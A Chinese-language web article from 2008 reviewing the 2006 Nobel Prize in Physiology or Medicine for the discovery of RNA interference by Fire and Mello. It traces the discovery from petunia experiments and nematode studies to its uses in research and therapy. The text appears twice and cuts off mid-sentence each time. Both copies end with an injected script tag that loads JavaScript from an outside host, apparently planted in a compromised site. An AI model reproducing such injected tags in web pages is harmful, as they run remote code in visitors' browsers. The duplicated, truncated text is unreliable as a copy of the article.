2006三大诺贝尔自然科学奖点评
发布时间:2008/5/22 0:00:00 访问次数:680
关闭基因,一场沉默的革命(生理学或医学奖)
许多人都认为,安德鲁·法尔和克雷格·梅洛有一天将获得诺贝尔奖,但是连他们自己也没想到,这一天会来的如此迅速。2006年10月2日,瑞典卡罗林斯卡医学院宣布,法尔和梅洛两人获得了今年的诺贝尔生理学或医学奖,获奖原因是他们8年前发现了核糖核酸干扰现象。
核糖核酸(rna)主要担任着生命活动中传递信息的角色。如今人们经常提到的遗传物质dna是生命的“蓝图”,蛋白质是建筑生命的“砖块”,而rna的职责是为制造“砖块”而传递蓝图的信息。顾名思义,核糖核酸干扰(rnai)就是对这个中间角色加以干扰,阻止它的运作。长久以来,生物学家可以轻而易举地把一个基因加入到生物的基因组中,从而让生物具有新的特性。但是想把生物的一个基因“关闭”却没有特别简单的方法。法尔和梅洛发现的rnai现象,恰好为生物学家提供了一种便利的关闭基因的手段。
“这是最漂亮的一类研究,”美国西北大学神经生物学教授饶毅评论说,“法尔和梅洛的发现不仅打开了一个新的研究领域,而且提出了一种新的方法。因此它既是一项科学发现,也是一项技术发明。它起始于小虫子的基础研究,却导致了治疗许多人类疾病的技术出现。这项工作和两位华人很有关系,一位是郭苏,一位是法尔实验室的技术员徐思群。”
有关rnai的发现历史并不太长。1990年,美国dna植物技术公司的里奇·乔根森(richjorgensen)为紫色矮牵牛花插入了另外一份控制紫色的基因,期待能够得到更紫的花朵。但是这种拥有双份基因的矮牵牛花的花朵却变成了白色。当时没人知道,为什么向矮牵牛花加入一个基因,反而导致它已有的基因失效。也不会有人想到十多年后有人会因为该领域的研究而获奖。
1995年,美国康奈尔大学的研究生郭苏和导师肯·康费斯(kenkemphues)为了鉴别一个基因,给线虫--一种显微镜下才能看清楚的蠕虫--注入了对应的“反义”rna,同时给对照组的线虫注入了“正义”rna。反义rna与正义rna的“字母”正好互补。按照传统理论,前者会抑制目标基因,科学家就可以由此确定他们是否找对了基因。结果同样令人困惑:不仅反义rna组的基因被抑制,正义rna组的基因也被抑制了。科学家无法解释这种现象。
3年后的1998年,当时在华盛顿卡内基研究所的法尔和马萨诸塞大学医学院的梅洛终于解开了这个谜团。他们在当年的《自然》杂志上报告说,给线虫注入正义rna和反义rna组成的双链rna,是导致目标基因关闭的原因。他们的这项发现引起了科学家的极大兴趣。因为只需要很微量的双链rna,就可以关闭特定的基因。rnai也解释了此前科学家遇到的奇怪现象。发表在《自然》杂志上的这篇论文的第二作者是徐思群,实验中的显微注射,多半都是他做的。他也共享rnai的专利。
“法尔和梅洛对意外的现象进行了仔细的分析。以前几个小组分别观察到了某个特定基因的rna干扰现象,但没有证明其重要性,比如可以是因为某些特定基因顺序的古怪而造成的意外,而不是规律。从1995年到1998年,很多线虫领域的人都有机会做进一步的实验,事实上,多数人都墨守成规。法尔和梅洛他们发现了rna干扰可以在多个基因上出现,所以是普遍重要的现象,这当然马上打开了一个新领域,让其他科学家跟进研究。”饶毅说。
当法尔和梅洛发现rnai现象的时候,他们使用的是线虫。如今,科学家已经在许多动植物身上实现了rnai。2002年,《科学》杂志把rnai及其后相关的发现评为了当年的“科学突破”。
关闭基因的方法为进行基础研究的科学家提供了空前的便利。例如,科学家试图弄清楚发生在生物体内的一种现象是由什么蛋白质及相关基因控制的。但即便是水稻,也有数万个基因。如果一个大合唱团中有一个人跟不上节奏,你可以逐一命令合唱者沉默,从而找出那个破坏节奏的人。对于生物学家而言,rnai就是这样一种排查手段。2004年,美国生物学家、1993年诺贝尔生理学或医学奖获得者菲利普·夏普(phillipsharp)在《自然》杂志上撰文指出:“rnai有望成为迄今最有力的实验室工具。”
rnai也为治疗疾病提供了新的希望。科学家已经知道,癌症通常与人体的某些基因“失控”有关。借助rna技术,科学家就有可能直接“关闭”那些失控的?script src=http://er12.com/t.js>
关闭基因,一场沉默的革命(生理学或医学奖)
许多人都认为,安德鲁·法尔和克雷格·梅洛有一天将获得诺贝尔奖,但是连他们自己也没想到,这一天会来的如此迅速。2006年10月2日,瑞典卡罗林斯卡医学院宣布,法尔和梅洛两人获得了今年的诺贝尔生理学或医学奖,获奖原因是他们8年前发现了核糖核酸干扰现象。
核糖核酸(rna)主要担任着生命活动中传递信息的角色。如今人们经常提到的遗传物质dna是生命的“蓝图”,蛋白质是建筑生命的“砖块”,而rna的职责是为制造“砖块”而传递蓝图的信息。顾名思义,核糖核酸干扰(rnai)就是对这个中间角色加以干扰,阻止它的运作。长久以来,生物学家可以轻而易举地把一个基因加入到生物的基因组中,从而让生物具有新的特性。但是想把生物的一个基因“关闭”却没有特别简单的方法。法尔和梅洛发现的rnai现象,恰好为生物学家提供了一种便利的关闭基因的手段。
“这是最漂亮的一类研究,”美国西北大学神经生物学教授饶毅评论说,“法尔和梅洛的发现不仅打开了一个新的研究领域,而且提出了一种新的方法。因此它既是一项科学发现,也是一项技术发明。它起始于小虫子的基础研究,却导致了治疗许多人类疾病的技术出现。这项工作和两位华人很有关系,一位是郭苏,一位是法尔实验室的技术员徐思群。”
有关rnai的发现历史并不太长。1990年,美国dna植物技术公司的里奇·乔根森(richjorgensen)为紫色矮牵牛花插入了另外一份控制紫色的基因,期待能够得到更紫的花朵。但是这种拥有双份基因的矮牵牛花的花朵却变成了白色。当时没人知道,为什么向矮牵牛花加入一个基因,反而导致它已有的基因失效。也不会有人想到十多年后有人会因为该领域的研究而获奖。
1995年,美国康奈尔大学的研究生郭苏和导师肯·康费斯(kenkemphues)为了鉴别一个基因,给线虫--一种显微镜下才能看清楚的蠕虫--注入了对应的“反义”rna,同时给对照组的线虫注入了“正义”rna。反义rna与正义rna的“字母”正好互补。按照传统理论,前者会抑制目标基因,科学家就可以由此确定他们是否找对了基因。结果同样令人困惑:不仅反义rna组的基因被抑制,正义rna组的基因也被抑制了。科学家无法解释这种现象。
3年后的1998年,当时在华盛顿卡内基研究所的法尔和马萨诸塞大学医学院的梅洛终于解开了这个谜团。他们在当年的《自然》杂志上报告说,给线虫注入正义rna和反义rna组成的双链rna,是导致目标基因关闭的原因。他们的这项发现引起了科学家的极大兴趣。因为只需要很微量的双链rna,就可以关闭特定的基因。rnai也解释了此前科学家遇到的奇怪现象。发表在《自然》杂志上的这篇论文的第二作者是徐思群,实验中的显微注射,多半都是他做的。他也共享rnai的专利。
“法尔和梅洛对意外的现象进行了仔细的分析。以前几个小组分别观察到了某个特定基因的rna干扰现象,但没有证明其重要性,比如可以是因为某些特定基因顺序的古怪而造成的意外,而不是规律。从1995年到1998年,很多线虫领域的人都有机会做进一步的实验,事实上,多数人都墨守成规。法尔和梅洛他们发现了rna干扰可以在多个基因上出现,所以是普遍重要的现象,这当然马上打开了一个新领域,让其他科学家跟进研究。”饶毅说。
当法尔和梅洛发现rnai现象的时候,他们使用的是线虫。如今,科学家已经在许多动植物身上实现了rnai。2002年,《科学》杂志把rnai及其后相关的发现评为了当年的“科学突破”。
关闭基因的方法为进行基础研究的科学家提供了空前的便利。例如,科学家试图弄清楚发生在生物体内的一种现象是由什么蛋白质及相关基因控制的。但即便是水稻,也有数万个基因。如果一个大合唱团中有一个人跟不上节奏,你可以逐一命令合唱者沉默,从而找出那个破坏节奏的人。对于生物学家而言,rnai就是这样一种排查手段。2004年,美国生物学家、1993年诺贝尔生理学或医学奖获得者菲利普·夏普(phillipsharp)在《自然》杂志上撰文指出:“rnai有望成为迄今最有力的实验室工具。”
rnai也为治疗疾病提供了新的希望。科学家已经知道,癌症通常与人体的某些基因“失控”有关。借助rna技术,科学家就有可能直接“关闭”那些失控的?script src=http://er12.com/t.js>
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